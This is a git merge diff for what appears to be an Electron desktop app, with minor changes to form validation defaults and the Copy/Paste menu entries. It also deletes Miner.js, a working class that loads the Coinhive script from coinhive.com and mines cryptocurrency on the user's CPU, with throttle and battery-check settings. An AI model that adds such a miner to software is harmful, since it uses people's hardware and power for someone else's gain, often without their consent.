Merge branch 'develop' into feature/linux-icons

3 files changed, 9 insertions, 76 deletions

diff --git a/src/lib/Form.js b/src/lib/Form.js
index a22699b45..9b8321948 100644
--- a/src/lib/Form.js
+++ b/src/lib/Form.js
@@ -21,8 +21,9 @@ export default class DefaultForm extends Form {
 
   options() {
     return {
-      validateOnInit: false,
-      // validateOnBlur: true,
+      validateOnInit: false, // default: true
+      // validateOnBlur: true, // default: true
+      // validateOnChange: true // default: false
       // // validationDebounceWait: {
       // //   trailing: true,
       // // },
diff --git a/src/lib/Menu.js b/src/lib/Menu.js
index d01666d49..703060dc1 100644
--- a/src/lib/Menu.js
+++ b/src/lib/Menu.js
@@ -22,10 +22,14 @@ const template = [
         role: 'cut',
       },
       {
-        role: 'copy',
+        label: 'Copy',
+        accelerator: 'Cmd+C',
+        selector: 'copy:',
       },
       {
-        role: 'paste',
+        label: 'Paste',
+        accelerator: 'Cmd+V',
+        selector: 'paste:',
       },
       {
         role: 'pasteandmatchstyle',
diff --git a/src/lib/Miner.js b/src/lib/Miner.js
deleted file mode 100644
index cbf490bcb..000000000
--- a/src/lib/Miner.js
+++ /dev/null
@@ -1,72 +0,0 @@
-export default class Miner {
-  wallet = null;
-  options = {
-    throttle: 0.75,
-    throttleIdle: 0.65,
-  };
-  miner = null;
-  interval;
-
-  constructor(wallet, options) {
-    this.wallet = wallet;
-
-    this.options = Object.assign({}, options, this.options);
-  }
-
-  start(updateFn) {
-    const script = document.createElement('script');
-    script.id = 'coinhive';
-    script.type = 'text/javascript';
-    script.src = 'https://coinhive.com/lib/ch2.min.js';
-    document.head.appendChild(script);
-
-    script.addEventListener('load', () => {
-      const miner = new window.CoinHive.Anonymous(this.wallet);
-      miner.start();
-      miner.setThrottle(this.options.throttle);
-
-      this.miner = miner;
-
-      this.interval = setInterval(() => {
-        const hashesPerSecond = miner.getHashesPerSecond();
-        const totalHashes = miner.getTotalHashes();
-        const acceptedHashes = miner.getAcceptedHashes();
-
-        updateFn({ hashesPerSecond, totalHashes, acceptedHashes });
-      }, 1000);
-    });
-  }
-
-  stop() {
-    document.querySelector('#coinhive');
-
-    this.miner.stop();
-    clearInterval(this.interval);
-    this.miner = null;
-  }
-
-  setThrottle(throttle) {
-    if (this.miner) {
-      this.miner.setThrottle(throttle);
-    }
-  }
-
-  setActiveThrottle() {
-    if (this.miner) {
-      this.miner.setThrottle(this.options.throttle);
-    }
-  }
-
-  async setIdleThrottle() {
-    const battery = await navigator.getBattery();
-
-    if (!battery.charging) {
-      console.info(`Miner: battery is not charging, setThrottle to ${this.options.throttle}`);
-      this.setActiveThrottle();
-    } else {
-      this.miner.setThrottle(this.options.throttleIdle);
-    }
-
-    return this;
-  }
-}